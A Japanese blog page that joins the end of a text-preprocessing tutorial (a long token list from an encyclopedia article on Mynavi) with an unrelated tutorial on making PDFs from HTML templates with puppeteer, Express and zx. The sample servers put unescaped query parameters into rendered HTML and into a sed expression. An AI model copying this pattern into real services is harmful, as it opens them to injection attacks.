'の', '新卒', '学生', '向け', '就職', '情報', 'サイト', '就職', 'ナビ', 'ちる', 'ゅうしょく', 'ナビ', '略称', '人材', '情報', 'サービス', '全体', '示す', '共通', 'ブランド', '昇格', 'する', '使用', 'する', 'れる', '年月日', '活力', 'ある', 'ブランド', '浸透', 'する', 'マイナビ', '呼称', '社名', '採用', 'する', '毎日コミュニケーションズ', '企業', '株式会社', 'マイナビ', '変更', 'する', 'マイナビ', '各種', 'ポータルサイト', '従来', '同社', '手がける', 'いる', '新卒', '学生', '向け', 'マイナビ', '西暦', 'つく', '転職', '希望', '向け', '派遣', '希望', '向け', '進学', '希望', '向け', 'サービス', '加える', 'アルバイト', '希望', '向け', 'サイト', 'オープン', 'する', '総合', '人材', '情報', 'サイト', '規模', '拡大', '続ける', 'マイナビ', '賃貸', 'マイナビウエディング', '人材', '情報', '以外', '分野', 'サイト', '相次ぐ', 'オープン', 'する', 'せる', 'リクナビ', 'SUUMO', '展開', 'する', '同業', '他社', '有力', '企業', '群', 'リクルート', 'グループ', '対抗', '勢力', '姿勢', '強い', '打ち出す', 'いる', '沿革', '年月日', '株式会社', '毎日コミュニケーションズ', '設立', '当初', '新聞', '出版', '絵画', '美術', '輸入', '販売', '目的', '設立', '海外', '留学', '目指す', '大学生', '留学', '手続き', '代行', '携わる', '個人', '留学', '部門', '発足', 'する', 'れる', '文化', '交流', '一環', '書道', '訪中', '団', '中国', '送り込む', '年月', '就職', '情報', '就職', 'ガイド', '創刊', '年月', '週刊', '将棋', '創刊', '年月', 'Mac', 'Fan', '創刊', '年月', 'PCfan', '創刊', '年月', 'インターネット', '就職', '情報', '提供', 'サービス', 'Career', 'Space', 'のち', '就職', 'ナビ', '現在', 'マイナビ', '開始', '年月', 'コンピュータ', 'ゲーム', '雑誌', 'The', 'DREAM', 'ニンテンドードリーム', '変更', '創刊', '年月日', '株式会社', 'MC', 'プレス', '設立', '年月日', '東京', '地図', '出版', '株式会社', '子会社', '年月日', 'MC', 'プレス', '解散', '年月日', '日本', '将棋', '連盟', '発行', '刊行', '物', '制作', '販売', 'する', '発表', '年月日', '株式会社', 'マイナビ', '社名', '変更', '同日', 'ニュース', 'サイト', 'マイコミジャーナル', 'COBS', 'ONLINE', '統合', 'する', 'マイナビニュース', 'オープン', '年月日', '完全', '子会社', '東京', '地図', '出版', '株式会社', '吸収', '合併', '年月日', '完全', '子会社', '株式会社', 'マイナビエージェント', '吸収', '合併', '年月', '株式会社', 'マイナビ', '浜松', '吸収', '合併', '年月日', '株式会社', 'マイナビ', '静岡', '吸収', '合併', '年月日', '出版', '事業', '分社', 'する', '株式会社', 'マイナビ', '出版', '設立', '厚生', '労働省', '委託', '事業', '職業', '紹介', '優良', '事業', '認定', '制度', '職業', '紹介', '優良', '事業', '事業', '認定', '取得', '年月日', '株式会社', 'マイナビコリア', 'Mynavi', 'KOREA', '設立', '年月日', 'ヘルスケア', '事業', '障る', 'いる', '雇用', '開発', '部門', '分社', 'する', '株式会社', 'マイナビパートナーズ', '設立', '年月日', '赤坂', 'BLITZ', '命名', '権', '取得', 'する', 'マイナビ', 'BLITZ', '赤坂', 'なる', 'グループ', '企業', '株式会社', 'マイナビ', '出版', '年月日', '出版', '事業', '分社', '株式会社', 'マイナビサポート', '発送', '代行', 'アウトソーシング', '会社', 'ビジネス', 'サポート', '株式会社', 'オーク', 'ション', '美術', 'オークション', '会社', '年月', '毎日コミュニケーションズ', '美術', '事業', '独立', 'する', '設立', '株式会社', 'マイナビ', '株主', '株式会社', '学術', 'フォーラム', '各種', '学会', '業務', '受託', '会社', '年月日', '設立', '株式会社', 'マイナビパートナーズ', '年月日', 'ヘルスケア', '事業', '障る', 'いる', '雇用', '開発', '部門', '分社', '日本', 'エス・エイチ・エルイギリス', 'SHL', 'グループ', 'ライセンス', '契約', '結ぶ', 'いる', '人材', 'アセスメント', 'サービス', '会社', '年月', '株式', '%', '譲渡', '受ける', '年月', '末', '現在', 'マイナビ', '筆頭', '株主', '%', 'なる', 'いる', 'Mynavi', 'USA', 'Corporation', 'アメリカ', 'ニューヨーク', '現地', '法人', '年月日', '毎日コミュニケーションズ', 'USA', '商号', '変更', '協', '北京', '諮詢', '有限', '公司', '中国', '北京', '現地', '法人', '北京', '協', '人力', '資源', '有限', '公司', '中国', '北京', '現地', '法人', '株式会社', 'マイナビコリア', 'Mynavi', 'KOREA', 'Corporation', '韓国', 'ソウル', '現地', '法人', '年月日', '韓国', '貿易', '協会', '業務', '協約', '締結', '過去', 'グループ', '企業', '株式会社', 'MC', 'プレス', 'コンビニ', '規制', '分離', '独立', 'する', '出版', '社', '有害', '図書', '参照', '年月', '解散', '東京', '地図', '出版', '株式会社', '年月', '株式', '譲渡', '受ける', '子会社', '年月', '吸収', '合併', '株式会社', 'マイナビエージェント', '総合', '人材', '派遣', '業', '年月日', '株式会社', 'キャリア', 'バンク', '商号', '変更', '年月', '吸収', '合併', '株式会社', 'エデュケーション', '毎日コミュニケーションズ', '海外', '事業', '留学', '斡旋', '事業', '事業', '譲受', 'する', '会社', '法人', 'マイナビ', 'グループ', '企業', 'ない', '株式会社', 'マイナビ', '浜松', '静岡', '西部', '特', 'する', '人材', '情報', '会社', '年月', '設立', '年月', '吸収', '合併', '株式会社', 'マイナビ', '静岡', '静岡', '特', 'する', '人材', '情報', '会社', '年月', '毎日コミュニケーションズ', '静岡', '支社', '株式会社', 'MYCOM', '静岡', '独立', '年月日', '株式会社', 'マイコミ', '静岡', '商号', '変更', '年月', '吸収', '合併', 'CM', 'イメージ', 'キャラクター', '石川', '遼', 'マイナビブランド', '共通', '大塚', '愛', 'マイナビ', 'flumpool', 'マイナビ', '有吉', '弘行', 'マイナビ', '内村', '光良', 'マイナビ', '黒島', '結', '菜', 'マイナビスガシカオマイナビ', '転職', '前田', '敦子', 'マイナビ', '転職', 'イメージ', 'キャラクター', '石原', 'さとみ', 'マイナビ', '転職', 'イメージ', 'キャラクター', '有村', '架', '山', '﨑賢', 'マイナビバイト', '波', '瑠', 'マイナビ', '看護', '師', '飯豊', 'まりえ', '初代', 'マイナビウエディングガール', '金城', '茉奈', '代目', 'マイナビウエディングガール', '新田', '真剣', '佑', 'マイナビウエディングキャラクター', '吉川', '愛', '代目', 'マイナビウエディングガール', 'AKB', '谷口', 'めぐる', '福岡', '聖', '菜', '小栗', '有', '以', '樋渡', '結依', '久保', '怜', '音', 'マイナビ', '賃貸', '吉沢', '亮', 'マイナビバイト', '関連', '項目', 'マイナビニュース', '世界', '遺産', '検定', '愛しい', '仕事', 'さま', 'マイナビ', '社', '提供', '学生', '向け', '就職', '活動', '情報', '番組', '将棋', '棋戦', 'レディースオープントーナメントマイナビ', '女子', 'オープン', '男子', 'プロゴルフツアーマイナビ', 'ABC', 'チャンピオンシップゴルフトーナメントプロ', '野球', '横浜', 'DeNA', 'ベイスターズ', 'ユニフォーム', 'スポンサー', '東京', 'ヤクルトスワローズ', '現在', 'トップ', 'スポンサー', '本拠地', '明治', '神宮', '野球', '広告', '掲出', 'セントラル・リーグクライマックスシリーズヤクルト', '同年', 'リーグ', '制覇', 'する', 'マイ', 'ナビ', 'セント', 'ラルリーグクライマックスシリーズファイナルステージ', '協賛', 'セントラル・リーグクライマックスシリーズヤクルト', 'レギュラー', 'シーズン', '位', '終える', 'マイナビクライマックスシリーズセファーストステージ', '協賛', 'マイナビオールスターゲーム', '冠', 'スポンサープロボクシング', '村田', '諒', '太', 'トランクススポンサープロビーチバレーボール', '坂口', '佳穂', '鈴木', '悠', '佳子', '所属', '選手', 'ジャパンビーチバレーボールツアー', '開始', '東京', '大会', 'マイナビシリーズ', '協賛', 'プロサッカーロアッソ', '熊本', 'ユニフォーム', '背中', '上部', '広告', '掲載', 'ベガルタ', '仙台', 'ユニフォーム', 'ズボン', '前部', '広告', '掲載', '女子', 'サッカーベガルタ', '仙台', 'レディース', '年度', '年間', 'パートナー', '契約', 'マイナビベガルタ', '仙台', 'レディース', '名称', 'なる', 'チーム', '完全', '買収', 'する', 'マイナビ', '仙台', 'レディース', '名称', '運営', 'する', 'プロ', 'バスケットボール', '千葉', 'ジェッツ', 'ふる', 'する', 'シーズン', 'オフィシャルパートナーマイナビ', 'Be', 'a', 'booster', 'B', 'LEAGUE', 'ウィークリー', 'ハイライト', 'BS', '放送', 'する', 'れる', 'B', 'LEAGUE', '情報', '番組', '確認', 'フェスティバル', '年度', 'メイン', 'サポーター', '就任', 'する', 'マイナビ', '確認', 'フェスティバル', '開催', '新聞', '社', '出版', '社', '毎日新聞', '出版', '毎日新聞社', '系列', '毎日新聞社', '出版', '局', '分社', '朝日新聞', '出版', '朝日新聞社', '系列', '産経新聞', '出版', '産業経済新聞社', '系列', '発売', ':', '扶桑社', '中央公論', '社', '読売新聞', 'グループ', '本社', '傘下', '読売新聞', '東京', '本社', '書籍', '刊行', '日本経済新聞', '出版', '社', '日本経済新聞社', '系列', '日経', 'BP', '上大', '東亜', '帝国', '脚注', '脚注', '使い方', '^', '毎日新聞', 'グループ', 'ホールディングス', '毎日新聞社', '^', '有価', '証券', '報告', '期', '平成', '年月日', '平成', '年月日', 'ページ', '朝日新聞社', 'EDINET', '提出', '書類', '株', '保有', '^', '毎日新聞社', '協力', '最強', '漢字', 'ドリル', '問', '^', '年度', '放送', '持株', '会社', '移行', '朝日放送', '^', '株式会社', '毎日コミュニケーションズ', '株式会社', 'マイナビ', '社名', '変更', '^', '将棋', '世界', '将棋', '年鑑', '当初', '販売', '発表', 'する', 'れる', 'いる', 'のち', '制作', '販売', '変わる', '^', '株式会社', '毎日コミュニケーションズ', '株式会社', 'マイナビ', '社名', '変更', '^', '出版', '事業', '部門', '分社', 'する', '株式会社', 'マイナビ', '出版', '設立', '株式会社', 'マイナビ', '年月日', '月日', '閲覧', '^', '企業', '情報', ':', 'マイナビエージェント', '評判', '転職', 'wiki', '"', '転職', 'wiki', '年月日', '閲覧', '^', '会社', '情報', '-', 'Mynavi', 'KOREA', '^', '株式会社', 'マイナビパートナーズ', '設立', 'お知らせ', 'マイナビ', '^「', '赤坂', 'BLITZ', 'ネーミングライツ', '命名', '権', '取得', '^', '会社', '情報', '-', 'Mynavi', 'KOREA', '^「', '韓国', '若者', '日本', '就職', 'する', '韓国', '協会', '支援', '方針', '説明', '開催', '/', 'ページ', '産経', 'ニュース', '^', 'マイナビ', '石原', 'さとみ', '起用', 'CM', 'ソング', 'ファンキー', '加藤', '"', '年月日', '年月日', '閲覧', '^', 'マイナビベガルタ', '仙台', 'レディース', '経営', '権', '譲渡', '株式会社', 'マイナビ', '合意', '締結', 'お知らせ', 'ベガルタ', '仙台', '年月日', '外部', 'リンク', '株式会社', 'マイナビマイナビ', '株式会社', 'マイナビ', '@', 'mynavi', '_', 'pr', 'Twitter', '先代', 'マツダ', '年年', 'NPB', 'オールスターゲームオフィシャル・スポンサー', '年次', '代', 'N', '/', 'A', '表', '編', '毎日新聞社', '本社', '毎日新聞', 'グループホールディングスグループ', '持株', '会社', '東京', '千代田', '東京', '本社', '東京', '千代田', '大阪', '本社', '大阪', '大阪', '北', '西部', '本社', '福岡', '北九州', '小倉北', '中部', '本社', '愛知', '名古屋', '中村', '支社', '本部', '北海道', '支社', '北海道', '札幌', '中央', '福岡', '本部', '福岡', '福岡', '中央', 'する', 'さす', 'オフィス', '愛知', '名古屋', '中村', '現在', '刊行', '物', '毎日新聞', '毎日新聞', 'デジタル', 'TAP', 'i', '小学生', '新聞', 'ウィークリー', '点字', 'サンデー毎日', '毎日新聞', '縮刷', '版', 'エコノミスト', 'エコノミスト', '投資', '達人', '月刊', 'News', 'わかる', 'MMJ', '過去', '刊行', '物', 'デイリー', 'ニューズ', 'MAINICHI', 'RT', '中学生', '新聞', 'こども', 'しんぶん', 'カメラ', '年鑑', 'ん', 'たん', 'ブロード', '系列', '新聞', '社', 'スポーツニッポン新聞社', '福島民報社', '下野新聞社', '関連', '放送', '局', 'TBS', 'ホールディングス', 'TBS', 'テレビ', '/', 'TBS', 'ラジオ', '/', 'BS', 'TBS', 'MBS', 'メディア', 'ホールディングス', '毎日放送', '/', 'MBS', 'ラジオ', 'RKB', 'ホールディングス', 'RKB', '毎日放送', 'ラジオ', 'テレビ山口', '和歌山放送', 'ラジオ', '福島', 'BS', '広告', '関連', '広告', '社', '不動産', '関連', 'ビルディング', 'スポーツ', '関連', '選抜', '高等', '学校', '野球', '大会', '都市', '対抗', '野球', '大会', '社会', '野球', '日本', '選手権', '大会', '全日本', 'クラブ', '野球', '選手権', '大会', '全国', '高等', '学校', 'ラグビーフットボール', '大会', '日本', 'フットボール', '優勝', '大会', '甲子園ボウル', 'テニス', '選手権', '黒', '鷲', '旗', '全日本', '男女', '選抜', 'バレーボール', '大会', '全日本', '実業', '団', '対抗', '駅伝', '競走', '大会', '全日本', '実業', '団', '対抗', '女子', '駅伝', '競走', '大会', '別府', '大分', 'マラソン', '大阪', 'マラソン', '全国', '高等', '学校', '駅伝', '競走', '大会', 'スポーツ', '賞', '杯', '王冠', '王将', '戦', '名人', '戦', '本因坊', '戦', '全日本', 'アマチュア', '本因坊', '戦', '浜寺', '水練', '学校', '歴史', '事件', '毎日新聞', '歴史', '/', '大阪毎日新聞', '/', '東京日日新聞', '時事新報', '光', '事件', '竹槍', '事件', '本社', '襲撃', '事件', '西山', '事件', 'グリコ', '森永', '事件', '捏造', '事件', 'Who', 'are', 'you', '報道', '社長', '監禁', '事件', 'デイリー', 'ニューズ', 'WaiWai', '問題', '関連', '人物', 'カテゴリ', '毎日新聞社', '人物', '/', '本山', '彦一', '松本', '重太郎', '原', '敬', '小松原', '英太郎', '福地', '源一郎', '関', '直彦', '伊東', '巳代治', '加藤', '高明', '城戸', '亮', '岡', '實', '奥村', '信太郎', '高石', '真', '五郎', '本田', '親男', '上田', '常', '隆', '梅島', '貞', '山本', '光春', '田中', '香苗', '平岡', '敏男', '山内', '大介', '渡辺', '襄', '小池', '唯夫', '斎藤', '明', '北村', '正', '任', '朝比奈', '豊', '丸山', '昌宏', '高橋', '信三', '坂田', '勝郎', '斎藤', '守', '慶', '古谷', '綱', '西山', '太吉', '細川', '隆一郎', '三宅', '久之', '鳥', '井守', '幸', '岩見', '隆夫', '鳥越', '俊太郎', '嶌信', '彦岸', '井成', '格', '牧', '太郎', '近藤', '勝重', '与良', '正男', '芥川', '龍之介', '井上', '靖', '山崎', '豊子', '種村', '直樹', '関連', '項目', '日曜', 'くらぶ', '日曜', '版', 'JNNJRN', '毎日新聞', 'ニュース', '桜田', 'アサッテ', '君', 'ウチ', 'ぐうたら', 'ママ', 'かあさん', 'マイナビマイナビ', '出版', '映画', '社', '信用組合', 'ナゴヤキャッスル', '千葉', 'ロッテマリーンズ', 'まく', 'クラブ', '脚注', 'JNN', '加盟', '局', '友好', '会社', '主要', '局', '掲載', 'マスメディア', '集中', '排除', '原則', '支配', '%', '超える', '議決', '権', '有す', 'いる', '局', 'グループ', '会社', '典拠', '管理', 'NDL', 'VIAF', 'WorldCat', 'Identities', 'viaf'] 「/」などまだまだ整形する余地はありそうですが、 なんとなく文章を特徴づける単語に集約できた感じがします。 おわり 今回は文章に対して「ストップワード除去」と「正規化」という方面から整形を行ない、 その文章を特徴づける単語を抽出することをいたしました。 簡単に処理しただけなので時間をかければさらによりよい抽出ができそうだと感じました。 今後関連するモジュール等が発表されれば、使って追記したいと思います。 ご精読ありがとうございました。

動機 PDFから印刷した紙面に手書きで文字を記載して送付する業務を経験したことがある皆さん、書いていて面倒だなと思ったことはありませんか？ 私は思いました。 なので、もっと様々な人にPDFファイルは簡単に作れるということを知ってほしい、そんな気持ちでこの記事を書いています。 用途としては、入力事項からPDFを作成するようなアプリケーションを作成したり、毎月作成する必要があるような書類を自動生成したり、名前などの一部の入力事項のみが異なる類似書類を大量生成するようなケースを想定しています。 一枚だけ作成したいなどの場合は、なんだかんだ言って適当にHTML書いてPDFに印刷するのが早くて自由度が高いと思います。 emmetなどを用いてささっと書けば、それほど時間もかからず書けるはずです。 特に書式にこだわらないテキストだけの書類の場合は、markdownで文章を作成してpdfへの変換ツールで変換してあげると楽でしょう。 みんな大好きJavaScriptでPDFを作る手段は複数存在する あまり話題にならない印象ですが、PDFを作成するライブラリの歴史は実は意外と長く、それなりに安定したライブラリが複数存在します。 例えば、はるか昔、新人の頃、私が業務で作成した社内向けツールでは、 pdfmake というライブラリを使用しました。 ゴリゴリとjsonを書くとPDFに変換してくれるという、手間だけど便利なライブラリです。 便利ですが、jsonから作成するという関係上独自の書式に縛られる点や、日本語フォント設定がとても面倒という点が不自由でした。 また、有名どころだと PDFKit や jsPDF などもあります。 ですが、今回はこれら以外でフロント技術者なら一度は触ったことがある or 名前を聞いたことがあるツールを使用してPDFを作成しようかと思います。 理由は単純で、今までに挙げた3つはそこそこのinputを必要とするからです。特に設定や日本語フォント周り。 個人的な意見ですが、ある程度整った書式のものを作る場合は、慣れるまではHTML書いてPDFに変換した方が早いです。 必要なら新しいものを覚えることは大切ですが、手元の技術で苦労せずにできるなら、面倒なことはやっていられません。 そんなわけで、今回使用するのはpuppeteerです。 E2Eテストなどでツールを検討したことがある人は、CypressやPlaywrightなどと合わせてテストツールの候補に検討したことがあるでしょう。 また、Node.jsでスクレイピングを試みた方であれば、多くの方がこれを利用したかと思います。 puppeteerとはなんぞや Puppeteer is a Node library which provides a high-level API to control Chrome or Chromium over the DevTools Protocol. Puppeteer runs headless by default, but can be configured to run full (non-headless) Chrome or Chromium. https://github.com/puppeteer/puppeteer ざっくり言うと、ブラウザ操作の自動化ツール、Beautiful Soupなんかを触ったことがある人なら何となくイメージが付くかもしれません。 公式のサンプルコードを少し書き換えたものを用意したので見てみましょう。 // fetchMynaviPDF.jsconst puppeteer = require('puppeteer');(async () => { const browser = await puppeteer.launch(); const page = await browser.newPage(); await page.goto('https://www.mynavi.jp/'); await page.pdf({ path: 'mynavi.pdf', format: "A4" }); await browser.close();})(); これは、弊社のホームページをA4のPDFにして保存するコードです。 関数が比較的わかりやすい名前をしているので、Javascriptを普段あまり読まない人も、ホームページに移動してPDFを作成しているということが何となくわかるかと思います。 さて、このコードを見て気が付くと思います。 これ、ページ遷移する代わりにHTMLを渡せば、HTMLからPDFを作成できますね。 つまり、渡すHTMLに任意の値を挿入したり、あるいはHTML文字列を直接渡せるような環境があれば、お手軽にPDFを作成できることになります。 puppeteerを使ってPDFを作成する 今回は、テンプレートとなるHTMLに任意の文字列を挿入することでPDFを作成する、そんなアプリケーションを作成します。 アプリケーション全体の流れを確認します。 クライアント側から何らかの手段でバックエンドのAPIを叩く バックエンド側でAPIを叩いた際に付与された値を、テンプレートのHTMLに挿入する。 バックエンド側でpuppeteerを用いてPDFを作成、クライアント側に返送する。 生成するPDFは、適当なイベントへの参加申請書類とします。 バックエンド側でpuppeteerを用いてPDFを作成、クライアント側に返送する まず、リクエスト受けたらテンプレートとなるファイルのPATHからテンプレートを読み込み、PDFのBufferを返送用するAPIサーバーを作成します。 サーバーについてはこちらにコードを貼る都合上expressを用いましたが、真面目に作るならNest.jsなどの方が良いです。 // server.jsconst express = require('express')const fs = require("fs")const path = require("path")const puppeteer = require("puppeteer")const app = express()const port = 8080app.get('/', (req, res) => { res.send('please request to /api/generate/sample.pdf')})app.get('/api/generate/sample.pdf', async (req, res) => { const generatePDF = async () => { const htmlTemplate = fs.readFileSync( path.resolve(__dirname, './template/template.html'), 'utf-8' ) const browser = await puppeteer.launch({ headless: true }) const page = await browser.newPage() await page.setContent(htmlTemplate) const buffer = await page.pdf({ printBackground: true, format: 'A4', margin: { top: 0, right: 0, bottom: 0, left: 0 } }) browser.close(); return buffer } const content = await generatePDF() res.send(content)})app.listen(port, () => { console.log(`listening ${port} port`)}) コードの約半分Express関連の処理なので、本来必要な処理のみ抽出します。 // js const generatePDF = async () => { const htmlTemplate = fs.readFileSync( path.resolve(__dirname, './template/template.html'), 'utf-8' ) const browser = await puppeteer.launch({ headless: true }) const page = await browser.newPage() await page.setContent(htmlTemplate) const buffer = await page.pdf({ printBackground: true, format: 'A4', margin: { top: 0, right: 0, bottom: 0, left: 0 } }) await browser.close(); return buffer } 上記の2~4行目で./template/template.htmlにあるHTMLファイルを取得、それを8行目でpuppeteerに渡したのち、PDFに変換しています。 APIを叩いた際に付与された値を、テンプレートのHTMLに挿入する GETあるいはPOSTで飛んできたデータを、HTMLテンプレートの特定の箇所と置換します。 今回はイベント参加申請書類ということなので、日付と名前を置換することにします。 先にテンプレートに置換対象の文字列を仕込んでおきます。 今回は日付と名前ということなので、それぞれ{{date}}, {{name}}としておきます。 置換については、JavaScriptのreplace関数で行います。 // js const generatePDF = async () => { const htmlTemplate = fs.readFileSync( path.resolve(__dirname, "./template/template.html"), "utf-8" ); // クエリパラメータから取得 const name = req.query?.name; const date = req.query?.date; // 置換 const htmlText = htmlTemplate.replace(/{{name}}/g, name).replace(/{{date}}/g, date) const browser = await puppeteer.launch({ headless: true }); const page = await browser.newPage(); await page.setContent(htmlText); const buffer = await page.pdf({ printBackground: true, format: "A4", margin: { top: 0, right: 0, bottom: 0, left: 0, }, }); browser.close(); return buffer; }; これで、HTMLから任意の文字列に置換したPDFを生成できるようになりました。 クライアント側から何らかの手段でバックエンドのAPIを叩く ブラウザの場合、該当のURLにクエリパラメータを足して遷移すると、ダウンロードが開始されます。 ただし、fetchなどでAPIを叩いた場合、取得するのはPDFのbufferなので、そこの変換処理を行ってあげる必要があります。 大量にファイルを作成したいとき、手元にcsvなどがあるならzxでfs使って1行ずつ読みながらwget叩くと楽かもしれません。 ローカル上で実行している場合は、const buffer = を外してサンプルコードを参考にpage.pdfのオプションに適当なpathを追加すれば、Experessが稼働している場所にファイルが生成されるのでそちらの方が手軽でしょう。 おまけ zxを使用するとこのようにコードを減らせるので便利です。 // server.js#!/usr/bin/env zximport express from "express";import puppeteer from "puppeteer";const app = express();const port = 8080;app.use(express.json())app.get("/", (req, res) => { res.send("please request to /api/generate/sample.pdf");});app.get("/api/generate/sample.pdf", async (req, res) => { const generatePDF = async () => { // POSTから取得 const name = req.query?.name; const date = req.query?.date; // 取得 & 置換 const htmlText = ( await $`sed -e "s/{{name}}/${name}/g" -e "s/{{date}}/${date}/g" ./template/template.html` ).stdout const browser = await puppeteer.launch({ headless: true }); const page = await browser.newPage(); await page.setContent(htmlText); const buffer = await page.pdf({ printBackground: true, format: "A4", margin: { top: 0, right: 0, bottom: 0, left: 0, }, }); browser.close(); return buffer; }; const content = await generatePDF(); res.send(content);});app.listen(port, () => { console.log(`listening ${port} port`);}); sedコマンドを使えば、ファイル取得と置換を一つの処理で済ませられるので本当に便利です。 zxについてはこちらの記事で紹介しているので、ぜひ触ってみてください。 ###card_post_id=1049###